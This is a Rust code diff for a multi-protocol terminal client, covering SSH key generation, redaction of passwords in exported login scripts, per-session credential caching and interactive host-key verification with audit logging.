||||||
k => return Err(format!("unsupported SSH key type {k:?}").into()),
|
|
||||||
};
|
|
||||||
let dir = Self::ssh_dir()?;
|
|
||||||
std::fs::create_dir_all(&dir)?;
|
|
||||||
let path = dir.join(&name);
|
|
||||||
if path.exists() {
|
|
||||||
return Err(format!("key {name:?} already exists").into());
|
|
||||||
}
|
|
||||||
let mut cmd = std::process::Command::new("ssh-keygen");
|
|
||||||
cmd.args(["-q", "-t", &kind, "-f"]).arg(&path).args(["-C", &format!("{name}@nexus-terminal"), "-N", passphrase]);
|
|
||||||
if kind == "rsa" {
|
|
||||||
cmd.args(["-b", &bits.to_string()]);
|
|
||||||
}
|
|
||||||
let out = cmd.stdin(std::process::Stdio::null()).output().map_err(|e| format!("ssh-keygen failed: {e}"))?;
|
|
||||||
if !out.status.success() {
|
|
||||||
return Err(format!("ssh-keygen failed: {}", String::from_utf8_lossy(&out.stderr).trim()).into());
|
|
||||||
}
|
|
||||||
Ok(())
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn delete_ssh_key(&self, name: &str) -> Result<()> {
|
pub fn delete_ssh_key(&self, name: &str) -> Result<()> {
|
||||||
@@ -413,3 +413,36 @@ impl Service {
|
|||||||
self.store.list_audit(limit).unwrap_or_default()
|
self.store.list_audit(limit).unwrap_or_default()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Blanks `send` steps that answer a password-like prompt (the `wait` before them), the documented
|
||||||
|
/// way to script a login, so a "without secrets" export doesn't carry them.
|
||||||
|
fn redact_login_script(steps: &mut [LoginScriptStep]) {
|
||||||
|
let mut after_secret_prompt = false;
|
||||||
|
for s in steps {
|
||||||
|
match s.kind.as_str() {
|
||||||
|
"wait" => {
|
||||||
|
let v = s.value.to_lowercase();
|
||||||
|
after_secret_prompt = ["password", "passphrase", "passcode", "pin", "token", "secret"].iter().any(|k| v.contains(k));
|
||||||
|
}
|
||||||
|
"send" if after_secret_prompt => {
|
||||||
|
s.value.clear();
|
||||||
|
after_secret_prompt = false;
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn login_script_passwords_are_redacted() {
|
||||||
|
let step = |k: &str, v: &str| LoginScriptStep { kind: k.into(), value: v.into(), timeout: 0 };
|
||||||
|
let mut steps = vec![step("wait", "login:"), step("send", "andy"), step("wait", "Password:"), step("send", "mysecretpassword"), step("send", "uptime")];
|
||||||
|
redact_login_script(&mut steps);
|
||||||
|
let values: Vec<&str> = steps.iter().map(|s| s.value.as_str()).collect();
|
||||||
|
assert_eq!(values, ["login:", "andy", "Password:", "", "uptime"]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
+495
-89
@@ -8,14 +8,16 @@ use crate::clients::ssh::{HostKeyCheck, HostKeyInfo, SecretFn, SshClient};
|
|||||||
use crate::clients::{self, Callbacks, github, irc, raw, serial, telnet};
|
use crate::clients::{self, Callbacks, github, irc, raw, serial, telnet};
|
||||||
use crate::models::*;
|
use crate::models::*;
|
||||||
use crate::recording::{self, Recorder};
|
use crate::recording::{self, Recorder};
|
||||||
use crate::secrets::Secrets;
|
use crate::secrets::{SecretKind, Secrets};
|
||||||
use crate::storage::Store;
|
use crate::storage::Store;
|
||||||
use std::collections::HashMap;
|
use parking_lot::Mutex;
|
||||||
|
use std::collections::{HashMap, HashSet};
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
use std::sync::Arc;
|
||||||
use std::sync::atomic::{AtomicBool, Ordering};
|
use std::sync::atomic::{AtomicBool, Ordering};
|
||||||
use std::sync::mpsc;
|
use std::sync::mpsc;
|
||||||
use std::sync::{Arc, Mutex};
|
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
use zeroize::Zeroizing;
|
||||||
|
|
||||||
/// Everything the UI hears about. Prompts carry their reply channel; dropping it cancels.
|
/// Everything the UI hears about. Prompts carry their reply channel; dropping it cancels.
|
||||||
pub enum Event {
|
pub enum Event {
|
||||||
@@ -55,6 +57,12 @@ pub enum Event {
|
|||||||
session: String,
|
session: String,
|
||||||
error: String,
|
error: String,
|
||||||
},
|
},
|
||||||
|
/// Something the user should know about that didn't stop the session (e.g. a credential that
|
||||||
|
/// couldn't be saved).
|
||||||
|
Warning {
|
||||||
|
session: String,
|
||||||
|
message: String,
|
||||||
|
},
|
||||||
Irc {
|
Irc {
|
||||||
session: String,
|
session: String,
|
||||||
event: irc::Event,
|
event: irc::Event,
|
||||||
@@ -91,17 +99,20 @@ pub enum Event {
|
|||||||
message: String,
|
message: String,
|
||||||
reply: mpsc::Sender<String>,
|
reply: mpsc::Sender<String>,
|
||||||
},
|
},
|
||||||
|
/// A host key needs the user's decision: unknown (`stored` is None) or changed (`stored` is
|
||||||
|
/// the fingerprint on record).
|
||||||
HostKeyVerify {
|
HostKeyVerify {
|
||||||
session: String,
|
session: String,
|
||||||
host: String,
|
host: String,
|
||||||
key_type: String,
|
key_type: String,
|
||||||
fingerprint: String,
|
fingerprint: String,
|
||||||
reply: mpsc::Sender<bool>,
|
stored: Option<String>,
|
||||||
|
reply: mpsc::Sender<HostKeyDecision>,
|
||||||
},
|
},
|
||||||
VncReady {
|
DesktopReady {
|
||||||
session: String,
|
session: String,
|
||||||
},
|
},
|
||||||
VncFrame {
|
DesktopFrame {
|
||||||
session: String,
|
session: String,
|
||||||
},
|
},
|
||||||
/// The remote desktop's clipboard changed.
|
/// The remote desktop's clipboard changed.
|
||||||
@@ -111,6 +122,16 @@ pub enum Event {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// The user's answer to a host-key prompt.
|
||||||
|
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||||
|
pub enum HostKeyDecision {
|
||||||
|
Reject,
|
||||||
|
/// Connect, leaving the known-hosts record as it is.
|
||||||
|
AcceptOnce,
|
||||||
|
/// Connect and record this key (replacing a changed one).
|
||||||
|
AcceptAndSave,
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Clone, Copy, Debug)]
|
#[derive(Clone, Copy, Debug)]
|
||||||
pub struct Retry {
|
pub struct Retry {
|
||||||
pub attempt: i64,
|
pub attempt: i64,
|
||||||
@@ -133,6 +154,7 @@ enum Client {
|
|||||||
Github(Arc<github::Client>, Arc<AtomicBool>),
|
Github(Arc<github::Client>, Arc<AtomicBool>),
|
||||||
Irc(Arc<irc::Client>, Option<Arc<SshClient>>),
|
Irc(Arc<irc::Client>, Option<Arc<SshClient>>),
|
||||||
Vnc(Arc<clients::vnc::Client>, Option<Arc<SshClient>>),
|
Vnc(Arc<clients::vnc::Client>, Option<Arc<SshClient>>),
|
||||||
|
Rdp(Arc<clients::rdp::Client>, Option<Arc<SshClient>>),
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Client {
|
impl Client {
|
||||||
@@ -157,6 +179,12 @@ impl Client {
|
|||||||
t.close();
|
t.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Client::Rdp(c, tunnel) => {
|
||||||
|
c.close();
|
||||||
|
if let Some(t) = tunnel {
|
||||||
|
t.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -181,6 +209,44 @@ struct Session {
|
|||||||
cancel_reconnect: Option<Arc<AtomicBool>>,
|
cancel_reconnect: Option<Arc<AtomicBool>>,
|
||||||
pending_resize: Option<(u16, u16)>,
|
pending_resize: Option<(u16, u16)>,
|
||||||
login: Arc<Mutex<LoginBuf>>,
|
login: Arc<Mutex<LoginBuf>>,
|
||||||
|
/// Credential state kept across reconnects of this session.
|
||||||
|
session_secrets: SessionSecrets,
|
||||||
|
}
|
||||||
|
|
||||||
|
type SessionSecrets = Arc<Mutex<SecretState>>;
|
||||||
|
|
||||||
|
#[derive(Default)]
|
||||||
|
struct SecretState {
|
||||||
|
/// `SecretMode::SessionOnly` values, asked once per session. Wiped from memory on drop.
|
||||||
|
session_only: HashMap<String, Zeroizing<String>>,
|
||||||
|
/// `SecretMode::Saved` values typed during this attempt; stored only once it connects, so a
|
||||||
|
/// typo never ends up saved.
|
||||||
|
pending: HashMap<String, Zeroizing<String>>,
|
||||||
|
/// Saved values this attempt used.
|
||||||
|
used: HashSet<String>,
|
||||||
|
/// Saved values the server rejected: the next attempt asks again instead of reusing them.
|
||||||
|
rejected: HashSet<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// After a failed attempt, typed credentials are dropped and, when the server refused them, the
|
||||||
|
/// saved ones used are skipped next time so the user can enter a replacement.
|
||||||
|
fn attempt_failed(state: &SessionSecrets, error: &str) {
|
||||||
|
let mut st = state.lock();
|
||||||
|
st.pending.clear();
|
||||||
|
if is_auth_error(error) {
|
||||||
|
let used = std::mem::take(&mut st.used);
|
||||||
|
st.rejected.extend(used);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Whether a connect error means the server refused the credentials (as opposed to a network or
|
||||||
|
/// host-key failure).
|
||||||
|
pub fn is_auth_error(msg: &str) -> bool {
|
||||||
|
let m = msg.to_lowercase();
|
||||||
|
// The last two are CredSSP's (RDP with NLA) wording for a rejected password.
|
||||||
|
["unable to authenticate", "authentication failed", "permission denied", "no supported methods", "logondenied", "logon failure"]
|
||||||
|
.iter()
|
||||||
|
.any(|p| m.contains(p))
|
||||||
}
|
}
|
||||||
|
|
||||||
pub struct Manager {
|
pub struct Manager {
|
||||||
@@ -209,11 +275,11 @@ impl Manager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn set_sink(&self, sink: EventSink) {
|
pub fn set_sink(&self, sink: EventSink) {
|
||||||
*self.sink.lock().unwrap() = Some(sink);
|
*self.sink.lock() = Some(sink);
|
||||||
}
|
}
|
||||||
|
|
||||||
fn emit(&self, e: Event) {
|
fn emit(&self, e: Event) {
|
||||||
let sink = self.sink.lock().unwrap().clone();
|
let sink = self.sink.lock().clone();
|
||||||
if let Some(s) = sink {
|
if let Some(s) = sink {
|
||||||
s(e);
|
s(e);
|
||||||
}
|
}
|
||||||
@@ -225,11 +291,11 @@ impl Manager {
|
|||||||
|
|
||||||
/// True while `id` still names the Session object with `epoch` and it isn't closed.
|
/// True while `id` still names the Session object with `epoch` and it isn't closed.
|
||||||
fn is_current(&self, id: &str, epoch: u64) -> bool {
|
fn is_current(&self, id: &str, epoch: u64) -> bool {
|
||||||
self.sessions.lock().unwrap().get(id).is_some_and(|s| s.epoch == epoch && !s.closed)
|
self.sessions.lock().get(id).is_some_and(|s| s.epoch == epoch && !s.closed)
|
||||||
}
|
}
|
||||||
|
|
||||||
fn with<R>(&self, id: &str, f: impl FnOnce(&mut Session) -> R) -> Result<R> {
|
fn with<R>(&self, id: &str, f: impl FnOnce(&mut Session) -> R) -> Result<R> {
|
||||||
let mut map = self.sessions.lock().unwrap();
|
let mut map = self.sessions.lock();
|
||||||
match map.get_mut(id) {
|
match map.get_mut(id) {
|
||||||
Some(s) => Ok(f(s)),
|
Some(s) => Ok(f(s)),
|
||||||
None => err(format!("sessions: session {id:?} not found")),
|
None => err(format!("sessions: session {id:?} not found")),
|
||||||
@@ -240,7 +306,7 @@ impl Manager {
|
|||||||
self.with(id, |s| s.client.clone())
|
self.with(id, |s| s.client.clone())
|
||||||
}
|
}
|
||||||
|
|
||||||
fn new_session(&self, info: SessionInfo, profile: Option<Profile>, shell: String) -> u64 {
|
fn new_session(&self, info: SessionInfo, profile: Option<Profile>, shell: String, session_secrets: SessionSecrets) -> u64 {
|
||||||
let epoch = self.next_epoch.fetch_add(1, Ordering::SeqCst);
|
let epoch = self.next_epoch.fetch_add(1, Ordering::SeqCst);
|
||||||
let s = Session {
|
let s = Session {
|
||||||
info,
|
info,
|
||||||
@@ -255,15 +321,21 @@ impl Manager {
|
|||||||
cancel_reconnect: None,
|
cancel_reconnect: None,
|
||||||
pending_resize: None,
|
pending_resize: None,
|
||||||
login: Arc::default(),
|
login: Arc::default(),
|
||||||
|
session_secrets,
|
||||||
};
|
};
|
||||||
let id = s.info.id.clone();
|
let id = s.info.id.clone();
|
||||||
self.sessions.lock().unwrap().insert(id, s);
|
self.sessions.lock().insert(id, s);
|
||||||
epoch
|
epoch
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Opens a session for `profile` and connects it on a worker thread. Returns the session id
|
/// Opens a session for `profile` and connects it on a worker thread. Returns the session id
|
||||||
/// immediately; progress arrives as `Event::State`.
|
/// immediately; progress arrives as `Event::State`.
|
||||||
pub fn connect(self: &Arc<Self>, profile: Profile) -> String {
|
pub fn connect(self: &Arc<Self>, profile: Profile) -> String {
|
||||||
|
self.connect_with(profile, SessionSecrets::default())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `connect` with session-only credentials carried over from a previous session (reconnect).
|
||||||
|
fn connect_with(self: &Arc<Self>, profile: Profile, session_secrets: SessionSecrets) -> String {
|
||||||
let id = new_id();
|
let id = new_id();
|
||||||
let prompt = self.prompt_for(&id, "Credentials Required", Duration::from_secs(300));
|
let prompt = self.prompt_for(&id, "Credentials Required", Duration::from_secs(300));
|
||||||
let info = SessionInfo {
|
let info = SessionInfo {
|
||||||
@@ -279,7 +351,7 @@ impl Manager {
|
|||||||
connected_at: now(),
|
connected_at: now(),
|
||||||
error: String::new(),
|
error: String::new(),
|
||||||
};
|
};
|
||||||
let epoch = self.new_session(info, Some(profile.clone()), String::new());
|
let epoch = self.new_session(info, Some(profile.clone()), String::new(), session_secrets);
|
||||||
self.emit_state(&id, SessionState::Connecting, "");
|
self.emit_state(&id, SessionState::Connecting, "");
|
||||||
let me = self.clone();
|
let me = self.clone();
|
||||||
let id2 = id.clone();
|
let id2 = id.clone();
|
||||||
@@ -293,7 +365,7 @@ impl Manager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn finish_connect(&self, id: &str, epoch: u64, r: Result<Client>, on_ok: impl FnOnce(&Self)) {
|
fn finish_connect(&self, id: &str, epoch: u64, r: Result<Client>, on_ok: impl FnOnce(&Self)) {
|
||||||
let mut map = self.sessions.lock().unwrap();
|
let mut map = self.sessions.lock();
|
||||||
let current = map.get_mut(id).filter(|s| s.epoch == epoch && !s.closed);
|
let current = map.get_mut(id).filter(|s| s.epoch == epoch && !s.closed);
|
||||||
match (r, current) {
|
match (r, current) {
|
||||||
(Ok(client), None) => {
|
(Ok(client), None) => {
|
||||||
@@ -304,10 +376,12 @@ impl Manager {
|
|||||||
(Err(e), Some(s)) => {
|
(Err(e), Some(s)) => {
|
||||||
s.info.state = SessionState::Error;
|
s.info.state = SessionState::Error;
|
||||||
s.info.error = e.to_string();
|
s.info.error = e.to_string();
|
||||||
|
attempt_failed(&s.session_secrets, &e.to_string());
|
||||||
drop(map);
|
drop(map);
|
||||||
self.emit_state(id, SessionState::Error, &e.to_string());
|
self.emit_state(id, SessionState::Error, &e.to_string());
|
||||||
}
|
}
|
||||||
(Ok(client), Some(s)) => {
|
(Ok(client), Some(s)) => {
|
||||||
|
let typed = std::mem::take(&mut s.session_secrets.lock().pending);
|
||||||
s.client = client.clone();
|
s.client = client.clone();
|
||||||
s.info.state = SessionState::Connected;
|
s.info.state = SessionState::Connected;
|
||||||
s.info.connected_at = now();
|
s.info.connected_at = now();
|
||||||
@@ -317,6 +391,11 @@ impl Manager {
|
|||||||
if let Some((c, r)) = pending {
|
if let Some((c, r)) = pending {
|
||||||
let _ = self.resize_client(&client, c, r);
|
let _ = self.resize_client(&client, c, r);
|
||||||
}
|
}
|
||||||
|
for (key, value) in typed {
|
||||||
|
if let Err(e) = self.secrets.set_checked(&key, &value) {
|
||||||
|
self.emit(Event::Warning { session: id.into(), message: format!("Credential not saved: {e}") });
|
||||||
|
}
|
||||||
|
}
|
||||||
self.emit_state(id, SessionState::Connected, "");
|
self.emit_state(id, SessionState::Connected, "");
|
||||||
on_ok(self);
|
on_ok(self);
|
||||||
}
|
}
|
||||||
@@ -324,6 +403,11 @@ impl Manager {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn connect_protocol(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
fn connect_protocol(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
||||||
|
let _ = self.with(id, |s| {
|
||||||
|
let mut st = s.session_secrets.lock();
|
||||||
|
st.pending.clear();
|
||||||
|
st.used.clear();
|
||||||
|
});
|
||||||
match p.protocol {
|
match p.protocol {
|
||||||
Protocol::Ssh => self.connect_ssh(id, epoch, p, prompt),
|
Protocol::Ssh => self.connect_ssh(id, epoch, p, prompt),
|
||||||
Protocol::Telnet => {
|
Protocol::Telnet => {
|
||||||
@@ -353,21 +437,22 @@ impl Manager {
|
|||||||
Protocol::Github => self.connect_github(id, epoch, p, prompt),
|
Protocol::Github => self.connect_github(id, epoch, p, prompt),
|
||||||
Protocol::Irc => self.connect_irc(id, epoch, p, prompt),
|
Protocol::Irc => self.connect_irc(id, epoch, p, prompt),
|
||||||
Protocol::Vnc => self.connect_vnc(id, epoch, p, prompt),
|
Protocol::Vnc => self.connect_vnc(id, epoch, p, prompt),
|
||||||
|
Protocol::Rdp => self.connect_rdp(id, epoch, p, prompt),
|
||||||
Protocol::Local => err("unsupported protocol \"local\"".into()),
|
Protocol::Local => err("unsupported protocol \"local\"".into()),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Callbacks for terminal-style clients: output to the UI, recording and login scripts.
|
/// Callbacks for terminal-style clients: output to the UI, recording and login scripts.
|
||||||
fn terminal_callbacks(self: &Arc<Self>, id: &str, epoch: u64) -> Callbacks {
|
fn terminal_callbacks(self: &Arc<Self>, id: &str, epoch: u64) -> Callbacks {
|
||||||
let login = self.sessions.lock().unwrap().get(id).map(|s| s.login.clone()).unwrap_or_default();
|
let login = self.sessions.lock().get(id).map(|s| s.login.clone()).unwrap_or_default();
|
||||||
let (me, sid) = (self.clone(), id.to_string());
|
let (me, sid) = (self.clone(), id.to_string());
|
||||||
let on_data = Arc::new(move |d: &[u8]| {
|
let on_data = Arc::new(move |d: &[u8]| {
|
||||||
me.emit(Event::Data { session: sid.clone(), data: d.to_vec() });
|
me.emit(Event::Data { session: sid.clone(), data: d.to_vec() });
|
||||||
let rec = me.sessions.lock().unwrap().get(&sid).and_then(|s| s.recorder.clone());
|
let rec = me.sessions.lock().get(&sid).and_then(|s| s.recorder.clone());
|
||||||
if let Some(r) = rec {
|
if let Some(r) = rec {
|
||||||
r.write_output(d);
|
r.write_output(d);
|
||||||
}
|
}
|
||||||
let mut l = login.lock().unwrap();
|
let mut l = login.lock();
|
||||||
if l.active {
|
if l.active {
|
||||||
l.buf.extend_from_slice(d);
|
l.buf.extend_from_slice(d);
|
||||||
if l.buf.len() > 16384 {
|
if l.buf.len() > 16384 {
|
||||||
@@ -405,28 +490,43 @@ impl Manager {
|
|||||||
// --- credentials --------------------------------------------------------------------
|
// --- credentials --------------------------------------------------------------------
|
||||||
|
|
||||||
/// Resolves a credential per its SecretMode (Go's buildSecretCallback): saved values come from
|
/// Resolves a credential per its SecretMode (Go's buildSecretCallback): saved values come from
|
||||||
/// the keychain then the vault; session-only values are asked once per connection.
|
/// the keychain then the vault (unless the server just rejected them), and newly typed ones
|
||||||
pub fn secret_fn(&self, profile_id: &str, kind: &str, mode: SecretMode, prompt: Prompt) -> SecretFn {
|
/// are saved once the connection succeeds; session-only values are asked once per session and
|
||||||
let key = format!("profile:{profile_id}:{kind}");
|
/// reused on reconnects (so e.g. a NickServ password entered once keeps identifying after a
|
||||||
|
/// drop).
|
||||||
|
pub fn secret_fn(&self, session: &str, profile_id: &str, kind: SecretKind, mode: SecretMode, prompt: Prompt) -> SecretFn {
|
||||||
|
let key = kind.key(profile_id);
|
||||||
let (secrets, store) = (self.secrets.clone(), self.store.clone());
|
let (secrets, store) = (self.secrets.clone(), self.store.clone());
|
||||||
let (pid, kind) = (profile_id.to_string(), kind.to_string());
|
let (pid, kind) = (profile_id.to_string(), kind.as_str());
|
||||||
let cache: Arc<Mutex<Option<String>>> = Arc::default();
|
let state: SessionSecrets = self.sessions.lock().get(session).map(|s| s.session_secrets.clone()).unwrap_or_default();
|
||||||
Arc::new(move || {
|
Arc::new(move || {
|
||||||
if mode == SecretMode::Saved
|
if mode == SecretMode::Saved {
|
||||||
&& let Some(v) = secrets.get(&key)
|
let mut st = state.lock();
|
||||||
{
|
if let Some(v) = st.pending.get(&key) {
|
||||||
store.add_audit("secret.access", &pid, "", &format!("Accessed {kind} credential"));
|
return Ok(v.to_string());
|
||||||
return Ok(v);
|
}
|
||||||
|
if !st.rejected.remove(&key)
|
||||||
|
&& let Some(v) = secrets.get(&key)
|
||||||
|
{
|
||||||
|
st.used.insert(key.clone());
|
||||||
|
store.add_audit("secret.access", &pid, "", &format!("Accessed {kind} credential"));
|
||||||
|
return Ok(v);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if mode == SecretMode::SessionOnly
|
if mode == SecretMode::SessionOnly
|
||||||
&& let Some(v) = cache.lock().unwrap().clone()
|
&& let Some(v) = state.lock().session_only.get(&key).map(|v| v.to_string())
|
||||||
{
|
{
|
||||||
return Ok(v);
|
return Ok(v);
|
||||||
}
|
}
|
||||||
let v = prompt(&format!("Enter {kind}:"))?;
|
let v = prompt(&format!("Enter {kind}:"))?;
|
||||||
|
let mut st = state.lock();
|
||||||
match mode {
|
match mode {
|
||||||
SecretMode::Saved => secrets.set(&key, &v),
|
SecretMode::Saved => {
|
||||||
SecretMode::SessionOnly => *cache.lock().unwrap() = Some(v.clone()),
|
st.pending.insert(key.clone(), Zeroizing::new(v.clone()));
|
||||||
|
}
|
||||||
|
SecretMode::SessionOnly => {
|
||||||
|
st.session_only.insert(key.clone(), Zeroizing::new(v.clone()));
|
||||||
|
}
|
||||||
SecretMode::AskEveryTime => {}
|
SecretMode::AskEveryTime => {}
|
||||||
}
|
}
|
||||||
Ok(v)
|
Ok(v)
|
||||||
@@ -450,7 +550,9 @@ impl Manager {
|
|||||||
Arc::new(move |msg| me.prompt(&sid, &title, msg, timeout))
|
Arc::new(move |msg| me.prompt(&sid, &title, msg, timeout))
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Host-key policy check against the known-hosts table (Go's HostKeyVerifier).
|
/// Host-key policy check against the known-hosts table (Go's HostKeyVerifier). Under the
|
||||||
|
/// `ask` policy both unknown and changed keys go to the user, who can reject, accept once
|
||||||
|
/// (connect without touching the record) or accept and save/update the record.
|
||||||
pub fn host_key_check(self: &Arc<Self>, session: &str, policy: HostKeyPolicy) -> HostKeyCheck {
|
pub fn host_key_check(self: &Arc<Self>, session: &str, policy: HostKeyPolicy) -> HostKeyCheck {
|
||||||
let (me, sid) = (self.clone(), session.to_string());
|
let (me, sid) = (self.clone(), session.to_string());
|
||||||
Arc::new(move |k: &HostKeyInfo| {
|
Arc::new(move |k: &HostKeyInfo| {
|
||||||
@@ -471,41 +573,64 @@ impl Manager {
|
|||||||
})
|
})
|
||||||
.map_err(|e| e.to_string())
|
.map_err(|e| e.to_string())
|
||||||
};
|
};
|
||||||
let verify = |mut s: KnownHost| {
|
let touch = |mut s: KnownHost| {
|
||||||
if s.fingerprint != k.fingerprint {
|
|
||||||
return Err(format!(
|
|
||||||
"host key for {} has changed! stored fingerprint: {}, received: {} — possible MITM attack",
|
|
||||||
k.host, s.fingerprint, k.fingerprint
|
|
||||||
));
|
|
||||||
}
|
|
||||||
s.last_seen = now();
|
s.last_seen = now();
|
||||||
let _ = me.store.save_known_host(&s);
|
let _ = me.store.save_known_host(&s);
|
||||||
Ok(())
|
Ok(())
|
||||||
};
|
};
|
||||||
|
let changed = |s: &KnownHost| {
|
||||||
|
format!("host key for {} has changed! stored fingerprint: {}, received: {} — possible MITM attack", k.host, s.fingerprint, k.fingerprint)
|
||||||
|
};
|
||||||
|
let ask = |stored: Option<&KnownHost>| -> std::result::Result<HostKeyDecision, String> {
|
||||||
|
let (tx, rx) = mpsc::channel();
|
||||||
|
me.emit(Event::HostKeyVerify {
|
||||||
|
session: sid.clone(),
|
||||||
|
host: k.host.clone(),
|
||||||
|
key_type: k.key_type.clone(),
|
||||||
|
fingerprint: k.fingerprint.clone(),
|
||||||
|
stored: stored.map(|s| s.fingerprint.clone()),
|
||||||
|
reply: tx,
|
||||||
|
});
|
||||||
|
match rx.recv_timeout(Duration::from_secs(60)) {
|
||||||
|
Ok(d) => Ok(d),
|
||||||
|
Err(mpsc::RecvTimeoutError::Disconnected) => Ok(HostKeyDecision::Reject),
|
||||||
|
Err(_) => Err("host key prompt failed: host key prompt timed out waiting for user response".into()),
|
||||||
|
}
|
||||||
|
};
|
||||||
match (policy, stored) {
|
match (policy, stored) {
|
||||||
(HostKeyPolicy::Insecure, None) | (HostKeyPolicy::AcceptNew, None) => save(),
|
(HostKeyPolicy::Insecure, None) | (HostKeyPolicy::AcceptNew, None) => save(),
|
||||||
(HostKeyPolicy::Insecure, Some(mut s)) => {
|
(HostKeyPolicy::Insecure, Some(s)) => touch(s),
|
||||||
s.last_seen = now();
|
|
||||||
let _ = me.store.save_known_host(&s);
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
(HostKeyPolicy::Strict, None) => Err(format!("host key for {}:{} is not known (policy: strict)", k.host, k.port)),
|
(HostKeyPolicy::Strict, None) => Err(format!("host key for {}:{} is not known (policy: strict)", k.host, k.port)),
|
||||||
(HostKeyPolicy::Ask, None) => {
|
(HostKeyPolicy::Ask, None) => match ask(None)? {
|
||||||
let (tx, rx) = mpsc::channel();
|
HostKeyDecision::AcceptAndSave => save(),
|
||||||
me.emit(Event::HostKeyVerify {
|
HostKeyDecision::AcceptOnce => Ok(()),
|
||||||
session: sid.clone(),
|
HostKeyDecision::Reject => Err(format!("host key for {}:{} rejected by user", k.host, k.port)),
|
||||||
host: k.host.clone(),
|
},
|
||||||
key_type: k.key_type.clone(),
|
(_, Some(s)) if s.fingerprint == k.fingerprint => touch(s),
|
||||||
fingerprint: k.fingerprint.clone(),
|
(HostKeyPolicy::Ask, Some(s)) => match ask(Some(&s))? {
|
||||||
reply: tx,
|
HostKeyDecision::AcceptAndSave => {
|
||||||
});
|
me.store.delete_known_host(&s.id).map_err(|e| e.to_string())?;
|
||||||
match rx.recv_timeout(Duration::from_secs(60)) {
|
save()?;
|
||||||
Ok(true) => save(),
|
me.store.add_audit(
|
||||||
Ok(false) | Err(mpsc::RecvTimeoutError::Disconnected) => Err(format!("host key for {}:{} rejected by user", k.host, k.port)),
|
"hostkey.update",
|
||||||
Err(_) => Err("host key prompt failed: host key prompt timed out waiting for user response".into()),
|
"",
|
||||||
|
&sid,
|
||||||
|
&format!("Replaced host key for {}:{} ({} -> {})", k.host, k.port, s.fingerprint, k.fingerprint),
|
||||||
|
);
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
HostKeyDecision::AcceptOnce => {
|
||||||
(_, Some(s)) => verify(s),
|
me.store.add_audit(
|
||||||
|
"hostkey.accept-once",
|
||||||
|
"",
|
||||||
|
&sid,
|
||||||
|
&format!("Accepted changed host key for {}:{} once ({})", k.host, k.port, k.fingerprint),
|
||||||
|
);
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
HostKeyDecision::Reject => Err(format!("{} (rejected by user)", changed(&s))),
|
||||||
|
},
|
||||||
|
(_, Some(s)) => Err(changed(&s)),
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -514,16 +639,12 @@ impl Manager {
|
|||||||
|
|
||||||
fn connect_ssh(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
fn connect_ssh(self: &Arc<Self>, id: &str, epoch: u64, p: &Profile, prompt: Prompt) -> Result<Client> {
|
||||||
let mut p = p.clone();
|
let mut p = p.clone();
|
||||||
let sc = p.ssh.get_or_insert_with(SshConfig::defaults);
|
let sc = p.ssh.get_or_insert_with(SshConfig::defaults).clone();
|
||||||
if sc.totp_secret.is_empty()
|
let password = self.secret_fn(id, &p.id, SecretKind::Password, sc.secret_mode, prompt.clone());
|
||||||
&& let Some(t) = self.secrets.get(&format!("profile:{}:totp", p.id))
|
let passphrase = self.secret_fn(id, &p.id, SecretKind::Passphrase, sc.key_secret_mode, prompt);
|
||||||
{
|
|
||||||
sc.totp_secret = t;
|
|
||||||
}
|
|
||||||
let sc = sc.clone();
|
|
||||||
let password = self.secret_fn(&p.id, "password", sc.secret_mode, prompt.clone());
|
|
||||||
let passphrase = self.secret_fn(&p.id, "passphrase", sc.key_secret_mode, prompt);
|
|
||||||
let c = SshClient::new(&p, self.terminal_callbacks(id, epoch));
|
let c = SshClient::new(&p, self.terminal_callbacks(id, epoch));
|
||||||
|
let stored = |k: SecretKind| self.secrets.get(&k.key(&p.id)).unwrap_or_default();
|
||||||
|
c.set_stored_secrets(stored(SecretKind::Totp), stored(SecretKind::ProxyPassword));
|
||||||
c.connect(self.host_key_check(id, sc.host_key_policy), Some(password), Some(passphrase))?;
|
c.connect(self.host_key_check(id, sc.host_key_policy), Some(password), Some(passphrase))?;
|
||||||
for pf in sc.port_forwards.iter().filter(|f| f.enabled) {
|
for pf in sc.port_forwards.iter().filter(|f| f.enabled) {
|
||||||
match c.start_forward(pf.clone()) {
|
match c.start_forward(pf.clone()) {
|
||||||
@@ -559,8 +680,13 @@ impl Manager {
|
|||||||
c.auth_methods = vec![if method.is_empty() { "publickey".into() } else { method.into() }];
|
